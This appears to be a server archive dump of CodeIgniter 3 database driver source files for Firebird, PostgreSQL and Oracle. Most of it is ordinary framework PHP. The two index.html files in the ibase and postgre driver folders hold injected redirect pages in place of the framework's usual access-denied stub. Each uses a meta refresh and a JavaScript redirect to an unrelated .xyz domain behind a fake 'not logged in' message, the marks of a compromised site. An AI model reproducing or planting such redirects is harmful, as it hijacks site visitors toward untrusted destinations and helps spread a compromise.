MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Interbase/Firebird Utility Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_ibase_utility extends CI_DB_utility { /** * Export * * @param string $filename * @return mixed */ protected function _backup($filename) { if ($service = ibase_service_attach($this->db->hostname, $this->db->username, $this->db->password)) { $res = ibase_backup($service, $this->db->database, $filename.'.fbk'); // Close the service connection ibase_service_detach($service); return $res; } return FALSE; } } drivers/ibase/index.html 0000444 00000000605 14642767313 0011316 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/ibase/ibase_forge.php 0000644 00000014505 14642767315 0012307 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Interbase/Firebird Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_ibase_forge extends CI_DB_forge { /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = FALSE; /** * RENAME TABLE statement * * @var string */ protected $_rename_table = FALSE; /** * DROP TABLE IF statement * * @var string */ protected $_drop_table_if = FALSE; /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'SMALLINT' => 'INTEGER', 'INTEGER' => 'INT64', 'FLOAT' => 'DOUBLE PRECISION' ); /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * Create database * * @param string $db_name * @return bool */ public function create_database($db_name) { // Firebird databases are flat files, so a path is required // Hostname is needed for remote access empty($this->db->hostname) OR $db_name = $this->hostname.':'.$db_name; return parent::create_database('"'.$db_name.'"'); } // -------------------------------------------------------------------- /** * Drop database * * @param string $db_name (ignored) * @return bool */ public function drop_database($db_name) { if ( ! ibase_drop_db($this->conn_id)) { return ($this->db->db_debug) ? $this->db->display_error('db_unable_to_drop') : FALSE; } elseif ( ! empty($this->db->data_cache['db_names'])) { $key = array_search(strtolower($this->db->database), array_map('strtolower', $this->db->data_cache['db_names']), TRUE); if ($key !== FALSE) { unset($this->db->data_cache['db_names'][$key]); } } return TRUE; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('DROP', 'ADD'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { return FALSE; } if (isset($field[$i]['type'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identififers($field[$i]['name']) .' TYPE '.$field[$i]['type'].$field[$i]['length']; } if ( ! empty($field[$i]['default'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' SET DEFAULT '.$field[$i]['default']; } if (isset($field[$i]['null'])) { $sqls[] = 'UPDATE "RDB$RELATION_FIELDS" SET "RDB$NULL_FLAG" = ' .($field[$i]['null'] === TRUE ? 'NULL' : '1') .' WHERE "RDB$FIELD_NAME" = '.$this->db->escape($field[$i]['name']) .' AND "RDB$RELATION_NAME" = '.$this->db->escape($table); } if ( ! empty($field[$i]['new_name'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TO '.$this->db->escape_identifiers($field[$i]['new_name']); } } return $sqls; } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { return $this->db->escape_identifiers($field['name']) .' '.$field['type'].$field['length'] .$field['null'] .$field['unique'] .$field['default']; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; case 'INT': $attributes['TYPE'] = 'INTEGER'; return; case 'BIGINT': $attributes['TYPE'] = 'INT64'; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { // Not supported } } drivers/postgre/postgre_forge.php 0000644 00000013132 14642767317 0013304 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Postgre Forge Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_postgre_forge extends CI_DB_forge { /** * UNSIGNED support * * @var array */ protected $_unsigned = array( 'INT2' => 'INTEGER', 'SMALLINT' => 'INTEGER', 'INT' => 'BIGINT', 'INT4' => 'BIGINT', 'INTEGER' => 'BIGINT', 'INT8' => 'NUMERIC', 'BIGINT' => 'NUMERIC', 'REAL' => 'DOUBLE PRECISION', 'FLOAT' => 'DOUBLE PRECISION' ); /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = 'NULL'; // -------------------------------------------------------------------- /** * Class constructor * * @param object &$db Database object * @return void */ public function __construct(&$db) { parent::__construct($db); if (version_compare($this->db->version(), '9.0', '>')) { $this->create_table_if = 'CREATE TABLE IF NOT EXISTS'; } } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { if (in_array($alter_type, array('DROP', 'ADD'), TRUE)) { return parent::_alter_table($alter_type, $table, $field); } $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table); $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { if ($field[$i]['_literal'] !== FALSE) { return FALSE; } if (version_compare($this->db->version(), '8', '>=') && isset($field[$i]['type'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TYPE '.$field[$i]['type'].$field[$i]['length']; } if ( ! empty($field[$i]['default'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' SET '.$field[$i]['default']; } if (isset($field[$i]['null'])) { $sqls[] = $sql.' ALTER COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .(trim($field[$i]['null']) === $this->_null ? ' DROP NOT NULL' : ' SET NOT NULL'); } if ( ! empty($field[$i]['new_name'])) { $sqls[] = $sql.' RENAME COLUMN '.$this->db->escape_identifiers($field[$i]['name']) .' TO '.$this->db->escape_identifiers($field[$i]['new_name']); } if ( ! empty($field[$i]['comment'])) { $sqls[] = 'COMMENT ON COLUMN ' .$this->db->escape_identifiers($table).'.'.$this->db->escape_identifiers($field[$i]['name']) .' IS '.$field[$i]['comment']; } } return $sqls; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { // Reset field lengths for data types that don't support it if (isset($attributes['CONSTRAINT']) && stripos($attributes['TYPE'], 'int') !== FALSE) { $attributes['CONSTRAINT'] = NULL; } switch (strtoupper($attributes['TYPE'])) { case 'TINYINT': $attributes['TYPE'] = 'SMALLINT'; $attributes['UNSIGNED'] = FALSE; return; case 'MEDIUMINT': $attributes['TYPE'] = 'INTEGER'; $attributes['UNSIGNED'] = FALSE; return; default: return; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE) { $field['type'] = ($field['type'] === 'NUMERIC') ? 'BIGSERIAL' : 'SERIAL'; } } } drivers/postgre/postgre_driver.php 0000644 00000034576 14642767317 0013514 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Postgre Database Adapter Class * * Note: _DB is an extender class that the app controller * creates dynamically based on whether the query builder * class is being used or not. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_postgre_driver extends CI_DB { /** * Database driver * * @var string */ public $dbdriver = 'postgre'; /** * Database schema * * @var string */ public $schema = 'public'; // -------------------------------------------------------------------- /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RANDOM()', 'RANDOM()'); // -------------------------------------------------------------------- /** * Class constructor * * Creates a DSN string to be used for db_connect() and db_pconnect() * * @param array $params * @return void */ public function __construct($params) { parent::__construct($params); if ( ! empty($this->dsn)) { return; } $this->dsn === '' OR $this->dsn = ''; if (strpos($this->hostname, '/') !== FALSE) { // If UNIX sockets are used, we shouldn't set a port $this->port = ''; } $this->hostname === '' OR $this->dsn = 'host='.$this->hostname.' '; if ( ! empty($this->port) && ctype_digit($this->port)) { $this->dsn .= 'port='.$this->port.' '; } if ($this->username !== '') { $this->dsn .= 'user='.$this->username.' '; /* An empty password is valid! * * $db['password'] = NULL must be done in order to ignore it. */ $this->password === NULL OR $this->dsn .= "password='".$this->password."' "; } $this->database === '' OR $this->dsn .= 'dbname='.$this->database.' '; /* We don't have these options as elements in our standard configuration * array, but they might be set by parse_url() if the configuration was * provided via string. Example: * * postgre://username:password@localhost:5432/database?connect_timeout=5&sslmode=1 */ foreach (array('connect_timeout', 'options', 'sslmode', 'service') as $key) { if (isset($this->$key) && is_string($this->$key) && $this->$key !== '') { $this->dsn .= $key."='".$this->$key."' "; } } $this->dsn = rtrim($this->dsn); } // -------------------------------------------------------------------- /** * Database connection * * @param bool $persistent * @return resource */ public function db_connect($persistent = FALSE) { $this->conn_id = ($persistent === TRUE) ? pg_pconnect($this->dsn) : pg_connect($this->dsn); if ($this->conn_id !== FALSE) { if ($persistent === TRUE && pg_connection_status($this->conn_id) === PGSQL_CONNECTION_BAD && pg_ping($this->conn_id) === FALSE ) { return FALSE; } empty($this->schema) OR $this->simple_query('SET search_path TO '.$this->schema.',public'); } return $this->conn_id; } // -------------------------------------------------------------------- /** * Reconnect * * Keep / reestablish the db connection if no queries have been * sent for a length of time exceeding the server's idle timeout * * @return void */ public function reconnect() { if (pg_ping($this->conn_id) === FALSE) { $this->conn_id = FALSE; } } // -------------------------------------------------------------------- /** * Set client character set * * @param string $charset * @return bool */ protected function _db_set_charset($charset) { return (pg_set_client_encoding($this->conn_id, $charset) === 0); } // -------------------------------------------------------------------- /** * Database version number * * @return string */ public function version() { if (isset($this->data_cache['version'])) { return $this->data_cache['version']; } if ( ! $this->conn_id OR ($pg_version = pg_version($this->conn_id)) === FALSE) { return FALSE; } /* If PHP was compiled with PostgreSQL lib versions earlier * than 7.4, pg_version() won't return the server version * and so we'll have to fall back to running a query in * order to get it. */ return (isset($pg_version['server']) && preg_match('#^(\d+\.\d+)#', $pg_version['server'], $match)) ? $this->data_cache['version'] = $match[1] : parent::version(); } // -------------------------------------------------------------------- /** * Execute the query * * @param string $sql an SQL query * @return resource */ protected function _execute($sql) { return pg_query($this->conn_id, $sql); } // -------------------------------------------------------------------- /** * Begin Transaction * * @return bool */ protected function _trans_begin() { return (bool) pg_query($this->conn_id, 'BEGIN'); } // -------------------------------------------------------------------- /** * Commit Transaction * * @return bool */ protected function _trans_commit() { return (bool) pg_query($this->conn_id, 'COMMIT'); } // -------------------------------------------------------------------- /** * Rollback Transaction * * @return bool */ protected function _trans_rollback() { return (bool) pg_query($this->conn_id, 'ROLLBACK'); } // -------------------------------------------------------------------- /** * Determines if a query is a "write" type. * * @param string An SQL query string * @return bool */ public function is_write_type($sql) { if (preg_match('#^(INSERT|UPDATE).*RETURNING\s.+(\,\s?.+)*$#is', $sql)) { return FALSE; } return parent::is_write_type($sql); } // -------------------------------------------------------------------- /** * Platform-dependent string escape * * @param string * @return string */ protected function _escape_str($str) { return pg_escape_string($this->conn_id, $str); } // -------------------------------------------------------------------- /** * "Smart" Escape String * * Escapes data based on type * * @param string $str * @return mixed */ public function escape($str) { if (is_php('5.4.4') && (is_string($str) OR (is_object($str) && method_exists($str, '__toString')))) { return pg_escape_literal($this->conn_id, $str); } elseif (is_bool($str)) { return ($str) ? 'TRUE' : 'FALSE'; } return parent::escape($str); } // -------------------------------------------------------------------- /** * Affected Rows * * @return int */ public function affected_rows() { return pg_affected_rows($this->result_id); } // -------------------------------------------------------------------- /** * Insert ID * * @return string */ public function insert_id() { $v = $this->version(); $table = (func_num_args() > 0) ? func_get_arg(0) : NULL; $column = (func_num_args() > 1) ? func_get_arg(1) : NULL; if ($table === NULL && $v >= '8.1') { $sql = 'SELECT LASTVAL() AS ins_id'; } elseif ($table !== NULL) { if ($column !== NULL && $v >= '8.0') { $sql = 'SELECT pg_get_serial_sequence(\''.$table."', '".$column."') AS seq"; $query = $this->query($sql); $query = $query->row(); $seq = $query->seq; } else { // seq_name passed in table parameter $seq = $table; } $sql = 'SELECT CURRVAL(\''.$seq."') AS ins_id"; } else { return pg_last_oid($this->result_id); } $query = $this->query($sql); $query = $query->row(); return (int) $query->ins_id; } // -------------------------------------------------------------------- /** * Show table query * * Generates a platform-specific query string so that the table names can be fetched * * @param bool $prefix_limit * @return string */ protected function _list_tables($prefix_limit = FALSE) { $sql = 'SELECT "table_name" FROM "information_schema"."tables" WHERE "table_schema" = \''.$this->schema."'"; if ($prefix_limit !== FALSE && $this->dbprefix !== '') { return $sql.' AND "table_name" LIKE \'' .$this->escape_like_str($this->dbprefix)."%' " .sprintf($this->_like_escape_str, $this->_like_escape_chr); } return $sql; } // -------------------------------------------------------------------- /** * List column query * * Generates a platform-specific query string so that the column names can be fetched * * @param string $table * @return string */ protected function _list_columns($table = '') { return 'SELECT "column_name" FROM "information_schema"."columns" WHERE LOWER("table_name") = '.$this->escape(strtolower($table)); } // -------------------------------------------------------------------- /** * Returns an object with field data * * @param string $table * @return array */ public function field_data($table) { $sql = 'SELECT "column_name", "data_type", "character_maximum_length", "numeric_precision", "column_default" FROM "information_schema"."columns" WHERE LOWER("table_name") = '.$this->escape(strtolower($table)); if (($query = $this->query($sql)) === FALSE) { return FALSE; } $query = $query->result_object(); $retval = array(); for ($i = 0, $c = count($query); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = $query[$i]->column_name; $retval[$i]->type = $query[$i]->data_type; $retval[$i]->max_length = ($query[$i]->character_maximum_length > 0) ? $query[$i]->character_maximum_length : $query[$i]->numeric_precision; $retval[$i]->default = $query[$i]->column_default; } return $retval; } // -------------------------------------------------------------------- /** * Error * * Returns an array containing code and message of the last * database error that has occurred. * * @return array */ public function error() { return array('code' => '', 'message' => pg_last_error($this->conn_id)); } // -------------------------------------------------------------------- /** * ORDER BY * * @param string $orderby * @param string $direction ASC, DESC or RANDOM * @param bool $escape * @return object */ public function order_by($orderby, $direction = '', $escape = NULL) { $direction = strtoupper(trim($direction)); if ($direction === 'RANDOM') { if ( ! is_float($orderby) && ctype_digit((string) $orderby)) { $orderby = ($orderby > 1) ? (float) '0.'.$orderby : (float) $orderby; } if (is_float($orderby)) { $this->simple_query('SET SEED '.$orderby); } $orderby = $this->_random_keyword[0]; $direction = ''; $escape = FALSE; } return parent::order_by($orderby, $direction, $escape); } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Update_Batch statement * * Generates a platform-specific batch update string from the supplied data * * @param string $table Table name * @param array $values Update data * @param string $index WHERE key * @return string */ protected function _update_batch($table, $values, $index) { $ids = array(); foreach ($values as $key => $val) { $ids[] = $val[$index]['value']; foreach (array_keys($val) as $field) { if ($field !== $index) { $final[$val[$field]['field']][] = 'WHEN '.$val[$index]['value'].' THEN '.$val[$field]['value']; } } } $cases = ''; foreach ($final as $k => $v) { $cases .= $k.' = (CASE '.$val[$index]['field']."\n" .implode("\n", $v)."\n" .'ELSE '.$k.' END), '; } $this->where($val[$index]['field'].' IN('.implode(',', $ids).')', NULL, FALSE); return 'UPDATE '.$table.' SET '.substr($cases, 0, -2).$this->_compile_wh('qb_where'); } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { $this->qb_limit = FALSE; return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { return $sql.' LIMIT '.$this->qb_limit.($this->qb_offset ? ' OFFSET '.$this->qb_offset : ''); } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { pg_close($this->conn_id); } } drivers/postgre/postgre_result.php 0000644 00000011062 14642767321 0013513 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Postgres Result Class * * This class extends the parent result class: CI_DB_result * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_postgre_result extends CI_DB_result { /** * Number of rows in the result set * * @return int */ public function num_rows() { return is_int($this->num_rows) ? $this->num_rows : $this->num_rows = pg_num_rows($this->result_id); } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return pg_num_fields($this->result_id); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $field_names[] = pg_field_name($this->result_id, $i); } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); for ($i = 0, $c = $this->num_fields(); $i < $c; $i++) { $retval[$i] = new stdClass(); $retval[$i]->name = pg_field_name($this->result_id, $i); $retval[$i]->type = pg_field_type($this->result_id, $i); $retval[$i]->max_length = pg_field_size($this->result_id, $i); } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_resource($this->result_id)) { pg_free_result($this->result_id); $this->result_id = FALSE; } } // -------------------------------------------------------------------- /** * Data Seek * * Moves the internal pointer to the desired offset. We call * this internally before fetching results to make sure the * result set starts at zero. * * @param int $n * @return bool */ public function data_seek($n = 0) { return pg_result_seek($this->result_id, $n); } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return pg_fetch_assoc($this->result_id); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { return pg_fetch_object($this->result_id, NULL, $class_name); } } drivers/postgre/index.html 0000444 00000000605 14642767322 0011716 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/postgre/postgre_utility.php 0000644 00000004716 14642767323 0013712 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.3.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Postgre Utility Class * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_postgre_utility extends CI_DB_utility { /** * List databases statement * * @var string */ protected $_list_databases = 'SELECT datname FROM pg_database'; /** * OPTIMIZE TABLE statement * * @var string */ protected $_optimize_table = 'REINDEX TABLE %s'; // -------------------------------------------------------------------- /** * Export * * @param array $params Preferences * @return mixed */ protected function _backup($params = array()) { // Currently unsupported return $this->db->display_error('db_unsupported_feature'); } } drivers/oci8/oci8_utility.php 0000644 00000004402 14642767325 0012242 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.4.1 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Oracle Utility Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_oci8_utility extends CI_DB_utility { /** * List databases statement * * @var string */ protected $_list_databases = 'SELECT username FROM dba_users'; // Schemas are actual usernames /** * Export * * @param array $params Preferences * @return mixed */ protected function _backup($params = array()) { // Currently unsupported 